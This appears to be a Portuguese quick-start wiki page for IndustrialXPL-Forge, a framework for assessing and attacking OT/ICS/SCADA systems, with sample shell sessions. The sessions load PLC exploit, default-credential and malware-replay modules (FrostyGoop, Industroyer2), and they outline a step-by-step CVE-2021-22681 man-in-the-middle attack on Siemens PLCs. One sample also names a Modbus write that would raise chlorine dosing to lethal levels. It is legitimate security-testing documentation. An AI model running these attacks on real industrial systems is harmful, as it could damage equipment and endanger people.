-
Notifications
You must be signed in to change notification settings - Fork 1
Inicio Rapido
Este guia percorre uma sessão completa do IXF, do lançamento ao primeiro exploit real, cobrindo modo de simulação, carregamento de módulos, configuração de opções, o portão SafeMode/DestructiveMode, exploração CVE, varredura MITRE ATT&CK for ICS e geração de relatórios.
- Passo 1: Iniciar o IXF
- Passo 2: Explorar o Sistema de Ajuda
- Passo 3: Ver Estatísticas e Cobertura
- Passo 4: Buscar Módulos
- Passo 5: Carregar um Módulo de Scanner
- Passo 6: Inspecionar Opções do Módulo
- Passo 7: Configurar o Alvo
- Passo 8: Executar em Modo Simulação (Padrão — Seguro)
- Passo 9: Verificação de Conectividade com check()
- Passo 10: Carregar um Exploit CVE
- Passo 11: Usar Opções Globais com setg
- Passo 12: Execução ao Vivo (Apenas Laboratórios Autorizados)
- Passo 13: Varredura MITRE ATT&CK for ICS
- Passo 14: Executar TTP Completo
- Passo 15: Descoberta de Rede OT
- Passo 16: Análise SAST com LLM
- Passo 17: Gerar Relatório de Assessment
- Passo 18: Assessment de Conformidade IEC 62443
- Modo Não-Interativo (CLI Direto)
- Cenários de Sessão Completa
- Diagnósticos e Verificação de Ambiente
Inicie o shell interativo com o comando ixf:
$ ixf
[*] Indexing modules…
[+] 1193 modules indexed.
___ _ _ _ __ ______ _ ______
|_ _|_ __ __| |_ _ ___| |_ _ __(_) \ \/ / _ \| | | ___|__ _ __ __ _ ___
| || '_ \ / _` | | | / __| __| '__| | \ /| __/| | | |_ / _ \| '__/ _` |/ _ \
| || | | | (_| | |_| \__ \ |_| | | | / \| | | |___ | _| (_) | | | (_| | __/
|___|_| |_|\__,_|\__,_|___/\__|_| |_| /_/\_\_| |_____| |_| \___/|_| \__, |\___|
|___/
IndustrialXPL-Forge v1.0.12 — OT/ICS/SCADA Security Assessment Framework
Author: André Henrique (@mrhenrike) | União Geek | https://uniaogeek.com.br/
Python-First. Pure Python — install with pip install industrialxpl-forge.
Type 'help' for commands. simulate=True by default (safe mode).
ixf >
Indicadores importantes no banner:
-
1193 modules indexed— contagem total de módulos carregados com sucesso -
simulate=True by default (safe mode)— confirma que o modo seguro está ativo
$ python ixf.py
ou:
$ python -m industrialxpl
O comando help mostra o menu de ajuda global quando nenhum módulo está carregado, ou o menu de ajuda específico do módulo quando um módulo está ativo.
ixf > help
IndustrialXPL-Forge (IXF) v1.0.12
GLOBAL COMMANDS:
help Show this help menu
use <module> Load a module (e.g. use scanners/ics/modbus_detect)
search <term> Search modules by keyword, vendor, CVE, or protocol
exec <shell_cmd> Execute a shell command
discover <CIDR> Discover OT/ICS assets on a network
exit Exit IXF
MODULE COMMANDS (after 'use'):
run Execute the current module
check Run check() only — read-only fingerprint
back Deselect current module
set <option> <value> Set a module option (e.g. set target 192.168.1.1)
setg <option> <value> Set a global option (applies to all modules)
unsetg <option> Clear a global option
show [info|options|devices] Show module information
CVE COMMANDS:
cve <CVE-ID> Load module for a specific CVE
cve-scan <CIDR> Discover assets and test all applicable CVEs
report [json|html|markdown] Generate assessment report for current session
MITRE ATT&CK FOR ICS COMMANDS:
mitre <TID> Show modules covering a technique (e.g. mitre T0843)
mitre-list [tactic] List all techniques [filtered by tactic]
mitre-scan <tactic|TID> <target> Execute all modules for a tactic/technique
mitre-all <target> Execute all 79 MITRE ICS techniques (simulate default)
mitre-coverage Show coverage percentage per tactic
mitre-report [json|html|layer] Generate MITRE report / ATT&CK Navigator JSON layer
TTP COMMANDS:
ttp <TID> <target> Execute all modules for a TTP-ID against target/CIDR
ttp-check <TID> <target> Run only check() — read-only, always safe
ttp-simulate <TID> <target> Force simulate mode — print payloads only, no send
ttp-list [--tactic <name>] List all TTP-IDs with module counts
ASSESSMENT:
assess <module_path> Run an assessment module
NSE:
nse [install|list|status] Manage IXF Nmap NSE scripts
STATISTICS:
stats Show IXF module statistics and coverage summary
vendors [filter] List all OT/ICS vendors covered
protocols List all OT/ICS protocols covered
coverage Show MITRE ATT&CK for ICS coverage
LLM / SAST:
llm-key <provider> <api_key> Configure LLM API key for SAST analysis
llm-status Show LLM provider status
sast <path> [--mode <mode>] Static analysis of PLC/RTU source code
ixf > use scanners/ics/modbus_detect
[+] Module loaded: Modbus TCP Device Detect
ixf (Modbus TCP Device Detect) > help
MODULE COMMANDS:
run Execute the current module
back Deselect the current module
set <option> <value> Set a module option
setg <option> <value> Set a global option
unsetg <option> Clear a global option
show [info|options|advanced|devices] Print module details
check Fingerprint / vulnerability check (read-only)
Antes de começar uma sessão de avaliação, verifique a cobertura disponível:
ixf > stats
IXF Module Statistics
─────────────────────────────────────────────────────
Category Count %
cve 412 42%
exploits 287 29%
scanners 98 10%
assessment 89 9%
creds 62 6%
...
─────────────────────────────────────────────────────
Total: 1193 módulos
Vendors covered: 150 | Malware TTPs: 26
MITRE ATT&CK for ICS: 12 táticas, 103 técnicas mapeadas
PyPI: pip install industrialxpl-forge | GitHub: github.com/mrhenrike/IndustrialXPL-Forge
ixf > mitre-coverage
IXF MITRE ATT&CK for ICS Coverage
─────────────────────────────────────────────────────────────────────────
Tactic ID Tactic Total TIDs Covered %
TA0108 Initial Access 9 9 100%
TA0104 Execution 9 8 88%
TA0110 Persistence 8 6 75%
TA0111 Privilege Escalation 2 2 100%
TA0103 Evasion 5 4 80%
TA0102 Discovery 13 11 84%
TA0109 Lateral Movement 3 3 100%
TA0100 Collection 9 8 88%
TA0101 Command and Control 3 3 100%
TA0107 Inhibit Response Function 18 14 77%
TA0106 Impair Process Control 11 9 81%
TA0105 Impact 11 8 72%
─────────────────────────────────────────────────────────────────────────
TOTAL — 101 89 88%
Use search para encontrar módulos por palavra-chave, vendor, ID de CVE ou protocolo.
ixf > search modbus
[+] 52 module(s) found:
use exploits/protocols/modbus/modbus_client
use exploits/protocols/modbus/modbus_replay_attack
use exploits/protocols/modbus/modbus_fc_abuse
use exploits/protocols/modbus/modbus_write_coil
use exploits/protocols/modbus/modbus_write_register
use scanners/ics/modbus_detect
use scanners/ics/modbus_device_fingerprint
use cve/schneider/cve_2018_7789_modicon_modbus_dos
use cve/malware/frostygoop_modbus_heating
… e 43 mais. Refine sua busca.
ixf > search CVE-2021-22681
[+] 1 module(s) found:
use cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
ixf > search siemens
[+] 50 module(s) found:
use cve/siemens/cve_2019_13945_simatic_s7_1200_xss
use cve/siemens/cve_2019_19280_scalance_fw_upload
use cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
use cve/siemens/cve_2022_38465_s7_1500_session_hijack
use exploits/protocols/s7comm/s7comm_device_info
use exploits/protocols/s7comm/s7comm_stop_cpu
use exploits/protocols/s7comm_plus/s7comm_plus_scan
use creds/siemens/simatic_default_creds
use scanners/ics/s7_comm_scanner
… e 41 mais.
ixf > search default_creds
[+] 38 module(s) found:
use creds/siemens/simatic_default_creds
use creds/rockwell/plc_default_creds
use creds/schneider/modicon_default_creds
use creds/honeywell/experion_default_creds
…
ixf > search malware
[+] 26 module(s) found:
use cve/malware/frostygoop_modbus_heating
use cve/malware/crashoverride_industroyer
use cve/malware/triton_triconex_safety
use cve/malware/industroyer2_iec104
use cve/malware/pipedream_incontroller
use cve/apt/sandworm_ukraine_2022
…
ixf > search dnp3
[+] 18 module(s) found:
use exploits/protocols/dnp3/dnp3_request_flood
use exploits/protocols/dnp3/dnp3_unsolicited_response
use scanners/ics/dnp3_detect
use assessment/protocols/dnp3_security_audit
…
ixf > search water
[+] 12 module(s) found:
use cve/unitronics/cve_2023_6448_vision_default_password
use assessment/sast/sast_examples/water_treatment_chemical_dosing
…
ixf > search energy
[+] 8 module(s) found:
use cve/malware/industroyer2_iec104
use exploits/protocols/iec104/iec104_asdu_command
…
Use use seguido do caminho do módulo (com barras ou pontos):
ixf > use scanners/ics/modbus_detect
[+] Module loaded: Modbus TCP Device Detect
[*] CVE: N/A | CVSS: N/A | Impact: LOW
ixf (Modbus TCP Device Detect) >
O prompt muda para incluir o nome do módulo entre parênteses, confirmando que um módulo está ativo.
ixf > use scanners.ics.modbus_detect
[+] Module loaded: Modbus TCP Device Detect
ixf > cve CVE-2021-22681
[+] Module loaded: CVE-2021-22681 Siemens S7-1200/1500 PLC
[*] CVE: CVE-2021-22681 | CVSS: 9.8 | Impact: CRITICAL
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) >
ixf (Modbus TCP Device Detect) > show options
Opções — Modbus TCP Device Detect
+------------+-----------+----------+-------------------------------------------+
| Opção | Valor | Obrig. | Descrição |
|------------|-----------|----------|-------------------------------------------|
| target | | sim | IP ou hostname alvo |
| port | 502 | não | Porta Modbus TCP (padrão: 502) |
| unit_id | 1 | não | ID de unidade Modbus (1-247) |
| timeout | 5 | não | Timeout de conexão em segundos |
| simulate | True | não | Modo simulação (padrão: True, seguro) |
| destructive| False | não | Habilitar envio real de pacotes |
+------------+-----------+----------+-------------------------------------------+
ixf (Modbus TCP Device Detect) > show info
Module Information — Modbus TCP Device Detect
─────────────────────────────────────────────────────────────
name : Modbus TCP Device Detect
description : Sonda de detecção Modbus TCP. Envia Function Code 4 e verifica
o echo do Transaction ID para confirmar presença de dispositivo Modbus.
authors : André Henrique (mrhenrike)
references : https://www.modbus.org/specs.php
devices : Qualquer dispositivo Modbus TCP
impact : LOW
exploit_type : Scanner / Fingerprinting
cve : N/A
cvss : N/A
severity : LOW
mitre_techniques : T0888
mitre_tactics : Discovery
ixf (Modbus TCP Device Detect) > show advanced
Opções Avançadas — Modbus TCP Device Detect
+---------------+-------+--------+----------------------------------------------+
| Opção | Valor | Req. | Descrição |
|---------------|-------|--------|----------------------------------------------|
| verbose | False | não | Exibir bytes raw da resposta |
| retry | 2 | não | Tentativas de reconexão em timeout |
| thread_count | 1 | não | Threads para varredura multi-alvo |
+---------------+-------+--------+----------------------------------------------+
ixf (Modbus TCP Device Detect) > show devices
Devices: Qualquer dispositivo com porta Modbus TCP aberta (502/TCP)
Exemplos: Schneider Electric Modicon, Siemens ET200, Rockwell MicroLogix,
GE Fanuc RX3i, ABB AC500, Mitsubishi MELSEC, e outros.
ixf (Modbus TCP Device Detect) > set target 192.168.1.100
[+] target => 192.168.1.100
ixf (Modbus TCP Device Detect) > set port 502
[+] port => 502
ixf (Modbus TCP Device Detect) > set timeout 10
[+] timeout => 10
ixf (Modbus TCP Device Detect) > show options
Opções — Modbus TCP Device Detect
+------------+-----------------+----------+-------------------------------------------+
| Opção | Valor | Obrig. | Descrição |
|------------|-----------------|----------|-------------------------------------------|
| target | 192.168.1.100 | sim | IP ou hostname alvo |
| port | 502 | não | Porta Modbus TCP (padrão: 502) |
| unit_id | 1 | não | ID de unidade Modbus (1-247) |
| timeout | 10 | não | Timeout de conexão em segundos |
| simulate | True | não | Modo simulação (padrão: True, seguro) |
| destructive| False | não | Habilitar envio real de pacotes |
+------------+-----------------+----------+-------------------------------------------+
O IXF valida os valores das opções antes de aceitá-los:
ixf (Modbus TCP Device Detect) > set port 99999
[-] Cannot set 'port': Porta deve estar entre 1 e 65535
ixf (Modbus TCP Device Detect) > set target não_e_ip_valido
[-] Cannot set 'target': Endereço IP ou hostname inválido
ixf (Modbus TCP Device Detect) > set unit_id 300
[-] Cannot set 'unit_id': Valor deve estar entre 1 e 247
Com simulate=True (padrão), run imprime exatamente o que o módulo faria sem enviar nenhum pacote à rede:
ixf (Modbus TCP Device Detect) > run
[*] Running Modbus TCP Device Detect in SIMULATE mode…
[SIMULATE MODE — nenhum pacote enviado]
─────────────────────────────────────────────────────────────
[i] O que aconteceria:
Enviar probe Modbus Function Code 4 (Read Input Registers) para 192.168.1.100:502
Frame (hex): 00 01 00 00 00 06 01 04 00 00 00 01
TransactionID: 0x0001
ProtocolID: 0x0000 (Modbus)
Length: 0x0006
UnitID: 0x01
FunctionCode: 0x04 (Read Input Registers)
StartAddr: 0x0000
Quantity: 0x0001
Verificar echo do Transaction ID na resposta para confirmar dispositivo Modbus ativo.
[i] MITRE ATT&CK for ICS: T0888 (Remote System Discovery)
[i] Para executar ao vivo: set simulate false
O modo de simulação é ideal para:
- Treinamento de detecção SIEM/IDS: acionar regras de detecção sem impactar o sistema alvo
- Documentação de avaliação: registrar o que seria executado sem risco operacional
- Preparação de laboratório: verificar a lógica do módulo antes da execução ao vivo
check() realiza uma sonda TCP somente leitura independentemente do modo simulate. Ele não altera estado no dispositivo alvo.
ixf (Modbus TCP Device Detect) > check
[*] Checking Modbus TCP Device Detect…
[*] Verificando 192.168.1.100:502...
[+] VULNERABLE — Modbus TCP Device Detect
Se o dispositivo não estiver acessível:
ixf (Modbus TCP Device Detect) > check
[*] Checking Modbus TCP Device Detect…
[i] NOT_VULNERABLE — Modbus TCP Device Detect
check() é o passo recomendado antes de qualquer execução ao vivo — confirma que o alvo está acessível e exibe uma resposta ao probe.
ixf (Modbus TCP Device Detect) > back
[i] Module deselected.
ixf >
ixf > use cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
[+] Module loaded: CVE-2021-22681 Siemens S7-1200/1500 PLC
[*] CVE: CVE-2021-22681 | CVSS: 9.8 | Impact: CRITICAL
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) >
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > show info
Module Information
─────────────────────────────────────────────────────────────
name : CVE-2021-22681 Siemens S7-1200/1500 PLC
description : Siemens S7-1200 e S7-1500 CLPs contêm uma chave TLS hardcoded
no firmware que permite a qualquer atacante na rede realizar MitM
no protocolo S7comm+ (TCP/102) e descriptografar ou forjar
comandos autenticados para ler/escrever memória do CLP.
authors : André Henrique (mrhenrike)
references : https://cert-portal.siemens.com/productcert/pdf/ssa-731239.pdf
devices : Siemens S7-1200 (todas as versões < V4.6), S7-1500 (< V2.9.2)
impact : CRITICAL
exploit_type : Chave Hardcoded / Man-in-the-Middle
cve : CVE-2021-22681
cvss : 9.8
severity : CRITICAL
mitre_techniques : T0843, T0859, T0813
mitre_tactics : Execution, Credential Access
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > set target 192.168.1.50
[+] target => 192.168.1.50
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > run
[*] Running CVE-2021-22681 Siemens S7-1200/1500 PLC in SIMULATE mode…
[SIMULATE MODE — nenhum pacote enviado]
─────────────────────────────────────────────────────────────
[i] O que aconteceria:
CVE-2021-22681 Siemens S7-1200/1500 PLC
CVSS 9.8 (CRITICAL) | Chave TLS hardcoded — MitM/Descriptografia S7comm+
Passo 1: Extrair chave privada TLS hardcoded do firmware S7-1200
(presente em todas as versões < V4.6)
Passo 2: Posicionar-se na rede para MitM no TCP/102 (S7comm+)
Técnica: ARP poisoning, PROFINET DCP replay, ou roteamento estático
Passo 3: Descriptografar todo o tráfego S7comm+ usando a chave extraída
Inclui: autenticação, upload/download de programa, leitura de memória
Passo 4: Forjar comandos S7comm+ autenticados para:
- Ler/escrever áreas de memória (DB, MB, IB, QB)
- Iniciar/parar CPU do CLP
- Fazer upload do programa PLC
- Modificar configuração de hardware
Impacto: Comprometimento completo de CLPs Siemens S7-1200/1500 em produção
[i] MITRE ATT&CK for ICS: T0843 (Program Download), T0859 (Valid Accounts), T0813 (Denial of Control)
[i] Para executar ao vivo: set simulate false + set destructive true
setg define uma opção que persiste em todos os módulos carregados durante a sessão. Elimina a necessidade de repetir set target para cada módulo.
ixf > setg target 192.168.1.100
[+] [global] target => 192.168.1.100
ixf > setg simulate true
[+] [global] simulate => true
ixf > use scanners/ics/modbus_detect
[+] Module loaded: Modbus TCP Device Detect
# target já está definido como 192.168.1.100 automaticamente
ixf (Modbus TCP Device Detect) > show options
+------------+-----------------+----------+-------------------------------------------+
| Opção | Valor | Obrig. | Descrição |
|------------|-----------------|----------|-------------------------------------------|
| target | 192.168.1.100 | sim | IP ou hostname alvo |
…
ixf (Modbus TCP Device Detect) > back
ixf > use scanners/ics/s7_comm_scanner
[+] Module loaded: Siemens S7 Communication Scanner
# target já está 192.168.1.100 automaticamente
ixf (Siemens S7 Communication Scanner) > run
# Executa com o alvo global já configurado
ixf > unsetg target
[+] [global] target cleared.
Aviso Legal: Execute somente em sistemas de sua propriedade ou com autorização escrita explícita. A execução não autorizada é ilegal e pode causar danos irreversíveis a sistemas industriais.
Para executar ao vivo, desative o modo simulate e habilite o modo destrutivo:
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > set simulate false
[+] simulate => False
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > set destructive true
[+] destructive => True
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > run
O DestructiveGate exibe um banner de aviso e aguarda confirmação explícita:
████████████████████████████████████████████████████████████
██ MODO DESTRUTIVO — IMPACTO CRÍTICO ██
████████████████████████████████████████████████████████████
Módulo: CVE-2021-22681 Siemens S7-1200/1500 PLC
Alvo: 192.168.1.50:102
Impacto: CRITICAL — Modificação de firmware. PODE SER IRREVERSÍVEL.
Esta operação pode modificar ou parar um CLP Siemens S7-1200/1500
em produção. O impacto pode ser irreversível sem acesso físico ao
dispositivo.
Digite EXATAMENTE a seguinte string para confirmar:
I ACCEPT FULL RESPONSIBILITY FOR THIS DESTRUCTIVE OPERATION
Confirmação> I ACCEPT FULL RESPONSIBILITY FOR THIS DESTRUCTIVE OPERATION
[+] Confirmado. Entrada de auditoria gravada. Executando...
[*] [CVE-2021-22681] Conectando a 192.168.1.50:102 (S7comm+)...
[+] Conexão S7comm+ estabelecida
[*] Tentando MitM com chave TLS hardcoded...
[+] Descriptografia S7comm+ bem-sucedida — chave hardcoded confirmada
[+] VULNERÁVEL — CVE-2021-22681 confirmado em 192.168.1.50
Para abortar, qualquer entrada diferente da string exata:
Confirmação> sim
[-] ABORTADO. Entrada de auditoria gravada.
ixf > mitre-list
MITRE ATT&CK for ICS
─────────────────────────────────────────────────────────────
TID # Modules Primary Module
T0800 3 exploits/protocols/modbus/modbus_write_coil
T0801 2 assessment/mitre_ics/t0801_monitor_process_state
T0802 5 scanners/ics/modbus_detect
T0803 4 exploits/protocols/s7comm/s7comm_block_read
…
T0843 12 cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
T0880 8 assessment/mitre_ics/t0880_modify_alarm_settings
…
ixf > mitre-list discovery
MITRE ATT&CK for ICS — discovery
─────────────────────────────────────────────────────────────
TID # Modules Primary Module
T0840 5 scanners/ics/network_connection_enumeration
T0842 3 scanners/ics/remote_system_info_discovery
T0846 8 scanners/ics/modbus_detect
T0888 9 scanners/ics/s7_comm_scanner
…
ixf > mitre-scan discovery 192.168.1.0/24
[*] Varrendo tática: Discovery (TA0102) em 192.168.1.0/24
[*] simulate=True (modo seguro)
[*] [1/11] T0840 — Network Connection Enumeration
[*] [2/11] T0842 — Remote System Information Discovery
[*] [3/11] T0846 — Remote System Discovery
[*] [4/11] T0888 — Remote System Discovery (Protocol-Specific)
[*] [5/11] T0887 — Wireless Sniffing
…
[+] Varredura concluída: 11 técnicas, 34 execuções de módulo — 3 possíveis matches
ixf > mitre-scan T0843 192.168.1.100
[*] Varrendo técnica: T0843 (Program Download) em 192.168.1.100
[*] simulate=True
[*] [1/12] cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
[*] [2/12] cve/rockwell/cve_2022_1161_controllogix_modified_fw
…
[+] T0843 concluída: 12 módulos, 0 erros
ixf > mitre T0843
[+] 12 module(s) cover T0843:
use cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
use cve/rockwell/cve_2022_1161_controllogix_modified_fw
use exploits/protocols/s7comm/s7comm_program_download
use assessment/mitre_ics/t0843_program_upload
…
ixf > ttp T0843 192.168.1.100
[*] TTP T0843 (Program Download) — 12 módulos — simulate=True
[*] [1/12] cve/siemens/cve_2021_22681_s7_1200_hardcoded_key ... OK
[*] [2/12] cve/rockwell/cve_2022_1161_controllogix_modified_fw ... OK
[*] [3/12] exploits/protocols/s7comm/s7comm_program_download ... OK
[*] [4/12] assessment/mitre_ics/t0843_program_upload ... OK
…
[+] Varredura T0843 concluída: 12 módulos, 0 erros, 0 vulnerabilidades confirmadas (simulate)
ixf > ttp T0859 192.168.1.100 --stop-on-first
[*] TTP T0859 (Valid Accounts) — 15 módulos — simulate=True — stop-on-first
[*] [1/15] creds/siemens/simatic_default_creds ... OK
[*] [2/15] creds/rockwell/plc_default_creds ... OK
[+] Hit encontrado! Parando varredura (--stop-on-first).
ixf > ttp T0836 10.0.0.0/24 --rate-limit 1000
[*] TTP T0836 (Modify Parameter) — varredura de sub-rede 10.0.0.0/24 — 1000ms entre módulos
ixf > ttp T0866 192.168.1.100 --output /opt/resultados/t0866_scan.json
[*] TTP T0866 (Exploitation of Remote Services) — 8 módulos
…
[+] Resultados salvos em /opt/resultados/t0866_scan.json
ixf > ttp-check T0843 192.168.1.100
[*] T0843 check-only (sem payloads destrutivos)
[*] [1/12] cve/siemens/cve_2021_22681_s7_1200_hardcoded_key — check(): NOT_VULNERABLE
[*] [2/12] cve/rockwell/cve_2022_1161_controllogix_modified_fw — check(): NOT_VULNERABLE
…
ixf > discover 192.168.1.0/24
[*] Discovering OT/ICS assets on 192.168.1.0/24…
[*] Module loaded: Modbus TCP Device Detect
[i] Set target to each host in 192.168.1.0/24 and run check().
[i] For automated CIDR sweep: ixf > ttp T0846.001 192.168.1.0/24
ixf > mitre-scan discovery 192.168.1.0/24
[*] Varrendo tática: Discovery (TA0102) em 192.168.1.0/24
[*] Protocolos varridos: Modbus (502), S7comm (102), EtherNet/IP (44818),
DNP3 (20000), BACnet (47808), OPC UA (4840), IEC 104 (2404)…
[+] 3 dispositivos OT encontrados:
192.168.1.10 — Modbus TCP (Schneider Modicon)
192.168.1.20 — S7comm (Siemens S7-1200)
192.168.1.30 — BACnet/IP (Johnson Controls)
ixf > cve-scan 192.168.1.0/24
[*] [cve-scan] Discovery + CVE testing on 192.168.1.0/24…
[i] Feature: auto-fingerprint each host then run applicable CVE modules.
[i] Use mitre-scan discovery 192.168.1.0/24 to start with passive scanning.
ixf > llm-key gemini AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=gemini len=39
ixf > llm-status
Providers LLM
─────────────────────────────────────────────────────────────
Provider Status
openai não configurado
anthropic não configurado
gemini configurado
deepseek não configurado
grok não configurado
─────────────────────────────────────────────────────────────
Ativo: gemini
ixf > sast industrialxpl/resources/sast_examples/water_treatment_chemical_dosing.st
[*] Alvo: water_treatment_chemical_dosing.st (1 arquivo, 89 linhas)
[*] Linguagens: ST (1)
[*] Provider: gemini | Sanitizado: 0 credenciais, 0 IPs públicos
[*] Enviando 3,2 KB ao LLM (sanitizado)...
RELATÓRIO DE ANÁLISE SAST
═══════════════════════════════════════════════════════════════
FINDING [SEVERITY: CRITICAL]: Setpoint de Dosagem de Cloro Não Validado
Localização: water_treatment_chemical_dosing.st, linha 48
Descrição: SP_CHLORINE_HIGH := 4000.0 — 2000x o limite seguro da OMS (2 mg/L)
Vetor de Ataque: Escrita FC16 Modbus em HR[200] (DOSE_FACTOR)
Impacto Físico: 4000 mg/L de cloro — dose letal para crianças
MITRE ATT&CK for ICS: T0836 (Modify Parameter), T0880 (Modify Alarm Settings)
Exploit: modbus_write_register(unit=1, address=200, value=2000)
Remediação: Validar DOSE_FACTOR <= 2.0; adicionar intertravamento físico redundante
FINDING [SEVERITY: HIGH]: Sistema de Alarme Desabilitado via Flag de Manutenção
Localização: water_treatment_chemical_dosing.st, linha 23
Descrição: IF Maintenance_Mode THEN alarm_ack := TRUE; — alarmes silenciados
…
RESUMO: 2 CRITICAL, 3 HIGH, 1 MEDIUM, 0 LOW
ixf > report json
[+] Report generated: ixf_report_20260601_203045.json
ixf > report html
[+] Report generated: ixf_report_20260601_203101.html
ixf > report markdown
[+] Report generated: ixf_report_20260601_203115.md
ixf > mitre-report layer
[+] MITRE report generated: ixf_mitre_layer_20260601_203130.json
[i] Abrir em: https://mitre-attack.github.io/attack-navigator/
[i] Importar o arquivo JSON para visualizar a cobertura de técnicas.
ixf > mitre-report html
[+] MITRE report generated: ixf_mitre_report_20260601_203145.html
ixf > assess iec62443/zone_conduit_audit
[*] Executando Auditoria de Zonas e Condutos IEC 62443...
Auditoria de Zonas e Condutos IEC 62443
──────────────────────────────────────────────────────────────────
Verificação Resultado Notas
Separação IT/OT MANUAL Verificar regras de firewall Nível 3→2
Whitelist de protocolos MANUAL Apenas protocolos OT na zona ICS
Autenticação de acesso remoto MANUAL MFA VPN obrigatório para zonas OT
Servidor jump / DMZ MANUAL Historian na DMZ, não diretamente no OT
Documentação de zonas/condutos MANUAL Zonas definidas no plano de segurança
──────────────────────────────────────────────────────────────────
[i] IEC 62443-3-3: Requisitos de baseline do Nível de Segurança SL2
ixf > assess nist_sp800_82/control_checklist
ixf > assess risk/ics_risk_scorer
ixf > report html
O IXF também pode ser usado sem o shell interativo, passando comandos diretamente:
# Buscar módulos
ixf search modbus
# Carregar módulo, definir alvo e executar em uma linha
ixf use scanners/ics/modbus_detect set target 192.168.1.100 run
# Somente check() (somente leitura)
ixf use scanners/ics/modbus_detect set target 192.168.1.100 check
# Varredura TTP
ixf ttp T0843 192.168.1.100
# Cobertura MITRE
ixf mitre-coverage
# Gerar relatório
ixf report json
# Estatísticas
ixf statsixf > setg target 10.0.1.100
ixf > setg simulate true
ixf > use scanners/ics/modbus_detect
ixf (Modbus TCP Device Detect) > check
ixf (Modbus TCP Device Detect) > run
ixf (Modbus TCP Device Detect) > back
ixf > use scanners/ics/s7_comm_scanner
ixf (Siemens S7 Communication Scanner) > run
ixf (Siemens S7 Communication Scanner) > back
ixf > mitre-scan discovery 10.0.1.0/24
ixf > ttp T0843 10.0.1.100
ixf > ttp T0836 10.0.1.100
ixf > assess iec62443/zone_conduit_audit
ixf > assess risk/ics_risk_scorer
ixf > report html
ixf > mitre-report layer
ixf > search siemens
ixf > cve CVE-2021-22681
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > set target 192.168.1.50
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > check
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > run
ixf (CVE-2021-22681 Siemens S7-1200/1500 PLC) > back
ixf > llm-key gemini AIzaSy...
ixf > sast /opt/plc_projects/s7_water_pump.scl --mode sast
ixf > report json
ixf > search malware
ixf > use cve/malware/frostygoop_modbus_heating
ixf (FrostyGoop Modbus Heating Attack) > set target 192.168.1.100
ixf (FrostyGoop Modbus Heating Attack) > run
# Saída de simulação detalhada — ideal para criar regras de detecção SIEM
ixf (FrostyGoop Modbus Heating Attack) > back
ixf > use cve/malware/industroyer2_iec104
ixf (Industroyer2 IEC 104 Attack) > set target 192.168.1.200
ixf (Industroyer2 IEC 104 Attack) > run
ixf > mitre-report layer
python tools/env_doctor.pypython -c "
from industrialxpl.core.exploit.utils import index_modules
mods = index_modules()
print(f'{len(mods)} módulos indexados')
assert len(mods) > 900, 'Contagem de módulos abaixo do esperado!'
print('OK — Instalação íntegra')
"python -c "
from industrialxpl.core.exploit.utils import index_modules, import_exploit
mods = index_modules()
erros = []
for m in mods:
try:
import_exploit('industrialxpl.modules.' + m)()
except Exception as e:
erros.append((m, str(e)))
print(f'{len(mods)} módulos | {len(erros)} erros')
if erros:
for m, e in erros[:10]:
print(f' ERR {m}: {e}')
"Anterior: Instalação | Próximo: Referência do Shell